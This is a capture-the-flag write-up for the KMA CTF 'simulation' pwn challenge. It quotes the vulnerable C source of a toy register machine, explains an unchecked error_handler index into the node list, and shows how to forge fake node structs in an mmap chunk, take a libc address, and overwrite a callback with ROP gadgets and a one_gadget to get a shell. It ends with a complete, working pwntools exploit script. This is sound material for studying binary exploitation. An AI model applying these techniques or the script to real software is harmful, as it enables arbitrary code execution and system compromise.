---
# System prepended metadata

title: '# SIMULATION(KMA_CTF)'

---

The challenge gives us a source code

simulation.c

```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>

#define CONSTANT 0
#define REGISTER 1
#define MEM 2
#define MAX_COUNT 0x100

enum COMMAND_TYPE
{
    ADD,
    SUBTRACT,
    MULTIPLY,
    DIVIDE,
    STORE,
    LOAD
};

struct arg
{
    size_t type;
    size_t val;
};

struct command
{
    size_t func;
    struct arg arg[3];
};

struct node
{
    uint32_t error_handler;
    uint32_t cur_cmd;
    uint32_t nb_cmd;
    uint32_t next_node;
    int (*error_callback)(struct node *, uint32_t, bool);
    struct command cmd[0];
};

uint32_t node_head;
struct node *node_list[MAX_COUNT];
uint32_t ip;
uint64_t re[5];

char *mem;
size_t mem_size;

uint64_t get_val(struct arg *arg)
{
    switch (arg->type)
    {
    case CONSTANT:
        return arg->val;
    case REGISTER:
        return re[arg->val];
    case MEM:
        return *(uint64_t *)(&mem[arg->val]);
    }
}

void store_val(struct arg *arg, uint64_t val)
{
    switch (arg->type)
    {
    case CONSTANT:
        return;
    case REGISTER:
        re[arg->val] = val;
        return;
    case MEM:
        *(uint64_t *)(&mem[arg->val]) = val;
        return;
    }
}

uint64_t get_val_safe(struct arg *arg)
{
    switch (arg->type)
    {
    case CONSTANT:
        return arg->val;
    case REGISTER:
        return re[arg->val];
    case MEM:
        if (arg->val + 8 > mem_size)
        {
            mem_size = arg->val + 8;
            return 0;
        }
        return 0;
    }
}

void store_val_safe(struct arg *arg, uint64_t val)
{
    switch (arg->type)
    {
    case CONSTANT:
        return;
    case REGISTER:
        return re[arg->val] = val;
    case MEM:
        if (arg->val + 8 > mem_size)
        {
            mem_size = arg->val + 8;
            return;
        }
    }
}

int handler1(struct node *node, uint32_t ip, bool debug)
{
    if (debug)
        printf("Error happen at node %d, cmd[%d] - CONTINUE\n", ip, node->cur_cmd);
    return 0;
}

int handler2(struct node *node, uint32_t ip, bool debug)
{
    if (debug)
        printf("Error happen at node %d, cmd[%d] - DISCONTINUE\n", ip, node->cur_cmd);
    return -1;
}

int handler3(struct node *node, uint32_t ip, bool debug)
{
    char buf[5];
    if (debug)
    {
        printf("Error happen at node %d, cmd[%d] - CONTINUE? (y/n)", ip, node->cur_cmd);
        read(0, buf, 2);
        if (buf[0] == 'Y' || buf[0] == 'y')
        {
            return 0;
        }
    }
    return -1;
}

uint32_t resolve_error(struct node *cur_node, uint32_t ip, bool debug)
{
    if (cur_node->error_callback)
    {
        if (!debug)
        {
            cur_node->cur_cmd++;
            return 1;
        }
        if (cur_node->error_callback(cur_node, ip, debug))
        {
            return 0;
        }
        else
        {
            cur_node->cur_cmd++;
            return 1;
        }
    }
    else
    {
        cur_node->cur_cmd = 0;
        return 2;
    }
}

void simulate()
{
    struct node *cur_node;
    size_t i;
    ip = node_head;
    memset(re, 0, sizeof re);
    memset(mem, 0, mem_size);
    uint64_t tmp;
    uint32_t cycle = 0;
    uint32_t status_code;
    while (cycle <= 0x5000)
    {
        cur_node = node_list[ip];
        if (!cur_node)
        {
            break;
        }
        if (cur_node->cur_cmd >= cur_node->nb_cmd)
        {
            if (cur_node->next_node)
            {
                ip = cur_node->next_node;
                cur_node = node_list[ip];
            }
            else
            {
                break;
            }
        }
        cycle++;
        switch (cur_node->cmd[cur_node->cur_cmd].func)
        {
        case ADD:
            tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) + get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
            store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
            cur_node->cur_cmd++;
            break;
        case SUBTRACT:
            tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) - get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
            store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
            cur_node->cur_cmd++;
            break;
        case MULTIPLY:
            tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) * get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
            store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
            cur_node->cur_cmd++;
            break;
        case DIVIDE:
            if (get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]) == 0)
            {
                status_code = resolve_error(cur_node, ip, 0);
                if (status_code == 0)
                {
                    return;
                }
                if (status_code == 1)
                {
                    break;
                }
                if (status_code == 2)
                {
                    ip = cur_node->error_handler;
                    continue;
                }
            }
            tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) / get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
            store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
            cur_node->cur_cmd++;
            break;
        case LOAD:
            if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM)
            {
                status_code = resolve_error(cur_node, ip, 0);
                if (status_code == 0)
                {
                    return;
                }
                if (status_code == 1)
                {
                    break;
                }
                if (status_code == 2)
                {
                    ip = cur_node->error_handler;
                    continue;
                }
            }
            tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]);
            store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1], tmp);
            cur_node->cur_cmd++;
            break;
        case STORE:
            if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM)
            {
                status_code = resolve_error(cur_node, ip, 0);
                if (status_code == 0)
                {
                    return;
                }
                if (status_code == 1)
                {
                    break;
                }
                if (status_code == 2)
                {
                    ip = cur_node->error_handler;
                    continue;
                }
            }
            store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0], get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]));
            cur_node->cur_cmd++;
            break;
        }
    }
    for (i = 0; i < MAX_COUNT; ++i)
    {
        if (node_list[i])
        {
            node_list[i]->cur_cmd = 0;
        }
    }
}
void run()
{
    struct node *cur_node;
    ip = node_head;
    memset(re, 0, sizeof re);
    memset(mem, 0, mem_size);
    uint64_t tmp;
    uint32_t cycle = 0;
    uint32_t status_code;
    while (cycle <= 0x5000)
    {
        cur_node = node_list[ip];
        if (!cur_node)
        {
            break;
        }
        if (cur_node->cur_cmd >= cur_node->nb_cmd)
        {
            if (cur_node->next_node)
            {
                ip = cur_node->next_node;
                cur_node = node_list[ip];
            }
            else
            {
                break;
            }
        }
        cycle++;
        switch (cur_node->cmd[cur_node->cur_cmd].func)
        {
        case ADD:
            tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) + get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
            store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
            cur_node->cur_cmd++;
            break;
        case SUBTRACT:
            tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) - get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
            store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
            cur_node->cur_cmd++;
            break;
        case MULTIPLY:
            tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) * get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
            store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
            cur_node->cur_cmd++;
            break;
        case DIVIDE:
            if (get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]) == 0)
            {
                status_code = resolve_error(cur_node, ip, 1);
                if (status_code == 0)
                {
                    goto output;
                }
                if (status_code == 1)
                {
                    break;
                }
                if (status_code == 2)
                {
                    ip = cur_node->error_handler;
                    continue;
                }
            }
            tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) / get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]);
            store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp);
            cur_node->cur_cmd++;
            break;
        case LOAD:
            if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM)
            {
                status_code = resolve_error(cur_node, ip, 1);
                if (status_code == 0)
                {
                    goto output;
                }
                if (status_code == 1)
                {
                    break;
                }
                if (status_code == 2)
                {
                    ip = cur_node->error_handler;
                    continue;
                }
            }
            tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]);
            store_val(&cur_node->cmd[cur_node->cur_cmd].arg[1], tmp);
            cur_node->cur_cmd++;
            break;
        case STORE:
            if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM)
            {
                status_code = resolve_error(cur_node, ip, 1);
                if (status_code == 0)
                {
                    goto output;
                }
                if (status_code == 1)
                {
                    break;
                }
                if (status_code == 2)
                {
                    ip = cur_node->error_handler;
                    continue;
                }
            }
            store_val(&cur_node->cmd[cur_node->cur_cmd].arg[0], get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]));
            cur_node->cur_cmd++;
            break;
        }
    }
output:
    puts("Finish running");
    printf("IP: %u\n", ip);
}

bool check_func(uint64_t func)
{
    if (func > LOAD)
    {
        return false;
    }
    return true;
}

void new_node()
{
    size_t idx;
    size_t nb_cmd;
    size_t i;
    size_t j;
    struct node *node;
    struct command *cmd;
    struct arg *arg;
    char buf[5];
    uint32_t handler;

    size_t type;
    size_t val;
    size_t func;
    uint32_t next_node;
    printf("Index: ");
    idx = read_int();

    if (idx == 0 || idx >= MAX_COUNT || node_list[idx])
    {
        puts("Invalid index");
        return;
    }

    printf("Number of command: ");
    nb_cmd = read_int();

    if (nb_cmd >= 0x10)
    {
        puts("Too many commands");
        return;
    }

    printf("Next node: ");
    next_node = read_int();

    if (next_node >= MAX_COUNT)
    {
        puts("Invalid node");
        return;
    }

    node = calloc(sizeof(struct node) + sizeof(struct command) * nb_cmd, 1);
    node->nb_cmd = nb_cmd;
    node->next_node = next_node;

    printf("Fill command list: ");
    read(0, node->cmd, sizeof(struct command) * nb_cmd);

    for (i = 0; i < nb_cmd; ++i)
    {
        for (j = 0; j < 3; ++j)
        {
            cmd = &node->cmd[i];
            arg = &cmd->arg[j];
            type = arg->type;
            val = arg->val;
            func = cmd->func;
            if ((type > MEM) || !check_func(func) || (type == REGISTER && val >= 5) || (type == MEM && val >= 0xffffffff))
            {
                free(node);
                puts("Invalid commands");
                return;
            }
        }
    }

    printf("Use default handler? (y/n): ");
    read(0, buf, 2);
    if (buf[0] == 'Y' || buf[0] == 'y')
    {
        printf("Input default error handler: ");
        handler = read_int();
        if (handler == 1)
        {
            node->error_callback = &handler1;
        }
        else if (handler == 2)
        {
            node->error_callback = &handler2;
        }
        else
        {
            node->error_callback = &handler3;
        }
    }
    else
    {
        printf("Input error handler: ");
        handler = read_int();
        node->error_handler = handler;
    }

    node_list[idx] = node;
}

void cleanup()
{
    size_t i;
    for (i = 0; i < MAX_COUNT; ++i)
    {
        if (node_list[i])
        {
            free(node_list[i]);
            node_list[i] = NULL;
        }
    }
}

void menu()
{
    printf("\n");
    puts("------------------------");
    puts("1. New node");
    puts("2. Run");
    puts("3. Exit");
    printf("> ");
}
void timeout()
{
    puts("Timeout");
    exit(1);
}

int read_int()
{
    char buf[20];
    memset(buf, 0, 20);
    read(0, buf, 10);
    return atoi(buf);
}

void init()
{
    signal(0xe, &timeout);
    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

int main(void)
{
    init();
    puts("A weird machine simulation!");
    int choice;
    while (1)
    {
        menu();
        choice = read_int();
        switch (choice)
        {
        case 1:
            new_node();
            break;
        case 2:
            printf("Where to start? ");
            node_head = read_int();
            if (node_head == 0 || node_head > MAX_COUNT)
            {
                puts("Invalid start");
                break;
            }
            simulate();
            mem = calloc(mem_size, 1);
            if (!mem)
            {
                puts("Out of memory");
                exit(1);
            }
            run();
            free(mem);
            mem = NULL;
            mem_size = 0;
            cleanup();
            break;
        case 3:
            exit(0);
            break;
        }
    }
}
```


We have the structs 

```cpp=
struct arg
{
    size_t type;
    size_t val;
};

struct command
{
    size_t func;
    struct arg arg[3];
};

struct node
{
    uint32_t error_handler;
    uint32_t cur_cmd;
    uint32_t nb_cmd;
    uint32_t next_node;
    int (*error_callback)(struct node *, uint32_t, bool);
    struct command cmd[0];
};
```

`error_handler` is a index to another node when `error_callback` is `NULL` and the program redirect to that node when meeting error

`cur_cmd` is the index of `cmd`
`nb_cmd` is the number of commands
`next_node` is the node called when the program done executing the current node
`error_callback` is a function pointer called when the program meeting error


In `new_node` function when creating the error handle for a node, the user choose between using default function(use `error_callback`) or a `error_handle`

```cpp=
printf("Use default handler? (y/n): ");
    read(0, buf, 2);
    if (buf[0] == 'Y' || buf[0] == 'y')
    {
        printf("Input default error handler: ");
        handler = read_int();
        if (handler == 1)
        {
            node->error_callback = &handler1;
        }
        else if (handler == 2)
        {
            node->error_callback = &handler2;
        }
        else
        {
            node->error_callback = &handler3;
        }
    }
    else
    {
        printf("Input error handler: ");
        handler = read_int();
        node->error_handler = handler;
    }

```

Notice that the `error_handler` is index and there's no bound check here

So i pass it a big index to go out of `node_list`

The

```cpp=
read(0, node->cmd, sizeof(struct command) * nb_cmd);
```

When i pass cmds it might overflow `1` byte so i can't use default handler, but i don't need it tho


So the `simulation` function, simplify i prepare the `mem_size` which is to `calloc(mem_size)` and store the return value in `mem`

Make the `mem_size` large so that the `heap` section can't meet, the program will allocate a `mmap chunk` which is right below `libc`

![](https://hackmd.io/_uploads/r1OmObYK3.png)

The `mem_size` here is `0xfffff` which is right after `mem`

Now to the exploit

## get the libc

Getting the libc but not leaking because i can store a libc leak at a variable but not print it

So i can pass a large `error_handler` and trigger the error by dividing by `0` or `LOAD` at not a `MEM` type ...

The program simulates how a machine work with registers (`5` register) and memory. We can write to register or memory with some operator with arguments is registers or some where in memory

`node_list` is a array of pointers pointing to `struct node`

So with a calculated `index` i can make it land on `mem` which having the return value of `calloc` and we can write to that allocated area so i create a fake chunk there

The fake chunk will have the cmd

```
ADD 
CONSTANT 0
RE (MEM - RE) // 8 index to re so that it lands on mem
RE  0         // store the value of mem in re[0]
```

![](https://hackmd.io/_uploads/HyzhObtF3.png)


```python=
#calloc mmap chunk
cmd_type = p64(COMMAND_TYPE['MULTIPLY'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(3)
arg2 = p64(ARG_TYPE['MEM'].value) + p64(0xfffff - 8)

commands = cmd_type + arg0 + arg1 + arg2

#create fake struct node
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000200000001) #nb_cmds = 1, next_node = 2
commands += store_mem(2, 0) # error callback
commands += store_mem(3, COMMAND_TYPE['ADD'].value)
commands += store_mem(4, ARG_TYPE['CONSTANT'].value)
commands += store_mem(5, 0)
commands += store_mem(6, ARG_TYPE['REGISTER'].value)
commands += store_mem(7, (MEM - RE) // 8) # get the value of mem which is near libc address
commands += store_mem(8, ARG_TYPE['REGISTER'].value)
commands += store_mem(9, 0) # store leak at re[0]


#trigger error to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2
```

Attaching with gdb

![](https://hackmd.io/_uploads/Hydzo-KF3.png)

So i have the libc leak at `re[0]`

The fake struct a `mem`

![](https://hackmd.io/_uploads/HyPVibtF2.png)

I screenshot in another run so the address is different

## one_gadget

So now i have `re[0]` is libc address(below the libc)

In fake chunk i make `next_node` is `2`

I create a node `2` that also create a fake chunk in `mem` and this time i set the `error_callback` is a somewhere in libc

First is adding the `re[0]` libc offset and store the value in `re[1]` so `re[1]` is now libc start

```python=
cmd_type = p64(COMMAND_TYPE['ADD'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(1064944)
arg1 = p64(ARG_TYPE['REGISTER'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands = cmd_type + arg0 + arg1 + arg2
```



First i write `one_gadget` in `error_callback` field

```python=
#write one_gadget to callback
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000300000001) #nb_cmds = 1, next_node = 3
commands += store_mem_re(2, 1, ONE_GADGET) # error callback, store the value at re[1] in mem + 2*8
commands += store_mem(3, COMMAND_TYPE['LOAD'].value)
commands += store_mem(4, ARG_TYPE['REGISTER'].value)
commands += store_mem(5, 3)
commands += store_mem(6, ARG_TYPE['CONSTANT'].value)
commands += store_mem(7, 4) # divided by 0 to trigger error_callback
commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important
commands += store_mem(9, 2) #not important
```

![](https://hackmd.io/_uploads/r1eNRWtK3.png)

But cheking the conditions and there's no gadget i can use

![](https://hackmd.io/_uploads/rySCnbFK3.png)

But then i try to first make some gadgets to zero out the `r12`, `r13` register or make it points to `0`

Registers when reach gadget

![](https://hackmd.io/_uploads/r1T-TWFK3.png)


The stack

![](https://hackmd.io/_uploads/HyyBaZYFn.png)

I found `2` gadgets that do that

```python=
ZERO_R12 = 0x0000000000099f96 #: push rax ; mov rax, r12 ; pop r12 ; ret
ZERO_R13 = 0x0000000000042f76 #: pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
```

I make `r12`, `r13` equal to the the fake chunk pointer and the first field of that chunk is zero

In `ZERO_R13` it has a few pop and make the program ret to the next command in `run` function when call `resolve_error`

And `ZERO_R12`, when the program run a `error_callback` it will stop iterating the `node_list` and finish the loop


![](https://hackmd.io/_uploads/rk4d0btY2.png)


So that `r12`, `r13` is now the pointer to fake chunk

![](https://hackmd.io/_uploads/By45CZKFh.png)

But after finish it doesn't point to anything because the memory is `unmmap`

So i have to recreate `mmap` chunk and create a fake struct again and write `one_gadget` to it

Don't know why but when i pass the same `mem_size` it doesn't return `mmap` chunk(the heap then is bigger but still don't know why) so i pass a bigger then it works

Set a break point before `one_gadget`

![](https://hackmd.io/_uploads/r1qEJfFKn.png)


![](https://hackmd.io/_uploads/BkQUJMKYn.png)

The conditions are meet

Continue

![](https://hackmd.io/_uploads/BJG_JMYYh.png)


![](https://hackmd.io/_uploads/SkjuyMYK2.png)

Full script

```python=
from pwn import *
import enum

class ARG_TYPE(enum.Enum):
    CONSTANT = 0
    REGISTER = 1
    MEM = 2

class COMMAND_TYPE(enum.Enum):
    ADD = 0
    SUBTRACT = 1
    MULTIPLY = 2
    DIVIDE = 3
    STORE = 4
    LOAD = 5


elf = context.binary = ELF('/home/kakaka/KMA_CTF/simulation')
libc = elf.libc
p = process()
#gdb.attach(p)
def create_newnode(index, nb_cmds, next_node, default_handler, handler, cmds):
    p.recvuntil(b'> ')
    p.sendline(b'1')
    p.recvuntil(b'Index: ')
    p.sendline(str(index).encode())
    p.recvuntil(b'Number of command: ')
    p.sendline(str(nb_cmds).encode())
    p.recvuntil(b'Next node: ')
    p.sendline(str(next_node).encode())
    p.recvuntil(b'Fill command list: ')
    p.sendline(cmds)
    p.recvuntil(b'Use default handler? (y/n): ')
    if default_handler == 0:
        p.sendline(b'n')
        p.recvuntil(b'Input error handler: ')
        p.sendline(str(handler).encode())
    else:
        #p.sendline(b'y')
        #print(p.recv(1024))
        #p.recvuntil(b'Input default error handler: ')
        p.recvuntil(b'Input error handler: ')
        p.sendline(str(handler).encode())
def store_mem(index, value):
    cmd_type = p64(COMMAND_TYPE['ADD'].value)
    arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(value)
    arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
    arg2 = p64(ARG_TYPE['MEM'].value) + p64(index*8)
    return cmd_type + arg0 + arg1 + arg2
def store_mem_re(index, re, value):
    cmd_type = p64(COMMAND_TYPE['ADD'].value)
    arg0 = p64(ARG_TYPE['REGISTER'].value) + p64(re)
    arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(value)
    arg2 = p64(ARG_TYPE['MEM'].value) + p64(index*8)
    return cmd_type + arg0 + arg1 + arg2


MEM = 0x58c8
NODE_LIST = 0x5080
RE = 0x58a0
ONE_GADGET = 0xd831a
ZERO_R12 = 0x0000000000099f96 #: push rax ; mov rax, r12 ; pop r12 ; ret
ZERO_R13 = 0x0000000000042f76 #: pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret

#calloc mmap chunk
cmd_type = p64(COMMAND_TYPE['MULTIPLY'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(3)
arg2 = p64(ARG_TYPE['MEM'].value) + p64(0xfffff - 8)

commands = cmd_type + arg0 + arg1 + arg2

#create fake struct node
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000200000001) #nb_cmds = 1, next_node = 2
commands += store_mem(2, 0) # error callback
commands += store_mem(3, COMMAND_TYPE['ADD'].value)
commands += store_mem(4, ARG_TYPE['CONSTANT'].value)
commands += store_mem(5, 0)
commands += store_mem(6, ARG_TYPE['REGISTER'].value)
commands += store_mem(7, (MEM - RE) // 8) # get the value of mem which is near libc address
commands += store_mem(8, ARG_TYPE['REGISTER'].value)
commands += store_mem(9, 0) # store leak at re[0]


#trigger error to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2

idx = 1
next_idx = 0
no_cmds = 12
error_handle = (MEM - NODE_LIST) // 8 #redirect to fake struct node

create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands)


#create second node


#add re[0] libc offset and store it in re[1]
cmd_type = p64(COMMAND_TYPE['ADD'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(1064944)
arg1 = p64(ARG_TYPE['REGISTER'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands = cmd_type + arg0 + arg1 + arg2


#write gadget clear r13 to callback
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000300000001) #nb_cmds = 1, next_node = 3
commands += store_mem_re(2, 1, ZERO_R13) # error callback, store the value at re[1] in mem + 2*8
commands += store_mem(3, COMMAND_TYPE['LOAD'].value)
commands += store_mem(4, ARG_TYPE['REGISTER'].value)
commands += store_mem(5, 3)
commands += store_mem(6, ARG_TYPE['CONSTANT'].value)
commands += store_mem(7, 4) # divided by 0 to trigger error_callback
commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important
commands += store_mem(9, 2) #not important



#trigger error_handle to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2



idx = 2
no_cmds = 12
create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands)



#node 3 to make r12 point to zero

#write gadget clear r12 to callback
commands = store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000400000001) #nb_cmds = 1, next_node = 4
commands += store_mem_re(2, 1, ZERO_R12) # error callback, store the value at re[1] in mem + 2*8
commands += store_mem(3, COMMAND_TYPE['DIVIDE'].value)
commands += store_mem(4, ARG_TYPE['REGISTER'].value)
commands += store_mem(5, 3)
commands += store_mem(6, ARG_TYPE['CONSTANT'].value)
commands += store_mem(7, 0) # divided by 0 to trigger error_callback
commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important
commands += store_mem(9, 2) #not important

#trigger error_handle to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2

idx = 3
no_cmds = 11
create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands)

p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Where to start? ')
p.sendline(b'1')


#because after trigger callback the program will stop 
#run the struct so i have to rebuild the node


#calloc mmap chunk
cmd_type = p64(COMMAND_TYPE['MULTIPLY'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(3)
arg2 = p64(ARG_TYPE['MEM'].value) + p64(0xffffff - 8)

commands = cmd_type + arg0 + arg1 + arg2

#create fake struct node
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000200000001) #nb_cmds = 1, next_node = 2
commands += store_mem(2, 0) # error callback
commands += store_mem(3, COMMAND_TYPE['ADD'].value)
commands += store_mem(4, ARG_TYPE['CONSTANT'].value)
commands += store_mem(5, 0)
commands += store_mem(6, ARG_TYPE['REGISTER'].value)
commands += store_mem(7, (MEM - RE) // 8) # get the value of mem which is near libc address
commands += store_mem(8, ARG_TYPE['REGISTER'].value)
commands += store_mem(9, 0) # store leak at re[0]


#trigger error to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2

idx = 1
no_cmds = 12
error_handle = (MEM - NODE_LIST) // 8 #redirect to fake struct node
create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands)

#create second node


#add re[0] libc offset and store it in re[1]
cmd_type = p64(COMMAND_TYPE['ADD'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(16793584)
arg1 = p64(ARG_TYPE['REGISTER'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands = cmd_type + arg0 + arg1 + arg2


#write one_gadget to callback
commands += store_mem(0, 0) #current command + error handler
commands += store_mem(1, 0x0000000300000001) #nb_cmds = 1, next_node = 3
commands += store_mem_re(2, 1, ONE_GADGET) # error callback, store the value at re[1] in mem + 2*8
commands += store_mem(3, COMMAND_TYPE['LOAD'].value)
commands += store_mem(4, ARG_TYPE['REGISTER'].value)
commands += store_mem(5, 3)
commands += store_mem(6, ARG_TYPE['CONSTANT'].value)
commands += store_mem(7, 4) # divided by 0 to trigger error_callback
commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important
commands += store_mem(9, 2) #not important



#trigger error_handle to redirect to fake struct node
cmd_type = p64(COMMAND_TYPE['DIVIDE'].value)
arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0)
arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1)
commands += cmd_type + arg0 + arg1 + arg2



idx = 2
no_cmds = 12
create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands)

p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Where to start? ')
p.sendline(b'1')





p.interactive()

```
